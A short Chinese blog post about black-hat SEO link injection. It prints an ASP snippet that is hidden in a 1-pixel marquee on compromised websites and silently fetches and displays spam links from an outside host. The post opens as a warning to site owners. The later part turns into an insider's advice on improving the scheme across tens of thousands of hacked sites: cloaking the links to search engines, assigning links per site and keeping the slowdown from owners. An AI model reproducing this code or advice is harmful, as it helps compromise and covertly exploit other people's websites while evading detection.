黑客高手用的增加外链的代码
现在的黑客SEO真是太猖狂了，比起绿帽SEO真是一个子牛A ,该代码是黑客用来添加外链的代码,利用网站漏洞,插入该代码有助于增加外部链接。请大家小心看看自己的网站是否有类似的代码出现:
<MARQUEE width=1 height=8>
<%
On Error Resume Next
Server.ScriptTimeOut=9999999
response.write(getHTTPPage(“http://www.hieoem.cn“))
function getHTTPPage(url)
dim http
set http=createobject(“MSXML2.XMLHTTP”)
Http.open “GET”,url,false
Http.send()
if Http.readystate<>4 then
exit function
end if
getHTTPPage=bytes2BSTR(Http.responseBody)
set http=nothing
if err.number<>0 then err.Clear
end function
Function bytes2BSTR(vIn)
dim strReturn
dim i,ThisCharCode,NextCharCode
strReturn = “”
For i = 1 To LenB(vIn)
ThisCharCode = AscB(MidB(vIn,i,1))
If ThisCharCode < &H80 Then
strReturn = strReturn & Chr(ThisCharCode)
Else
NextCharCode = AscB(MidB(vIn,i+1,1))
strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
i = i + 1
End If
Next
bytes2BSTR = strReturn
End Function
%></MARQUEE>
这个是一段远程读取友情链接的代码.不过地址被楼主改过了,而且方法也很落伍,大概是去年上半年的吧.它的功能是自动更新用户网站上的链接,只加一次代码,更新链接则不用去改肉鸡站代码.我们用的已经升级两个版本了.
这个版本起码有三大缺点.
1.放上代码后,对方网站狂慢,想要站长不发现太难了.
2.远程读取的链接是固定的,因为我没看到网址附带参数,读取的链接没法按量分配.
3.只能挂少批量的网站,象我们这们大批量的挂几万个站,分配链接的主机承受不住.因为那将是几万个网站流量的叠加.
改进方式,针对1,选择性投放链接,只针对搜索引擎投放,不针对用户投放.
针对2,网址附带参数,Request.ServerVariables(“SERVER_NAME”)等,程序自动按需分配各站链接,不能分配太多,同一个站不能分配相同链接.
针对3,1的解决方法,即可减少百分之九十以上的流量了.
1条评论▼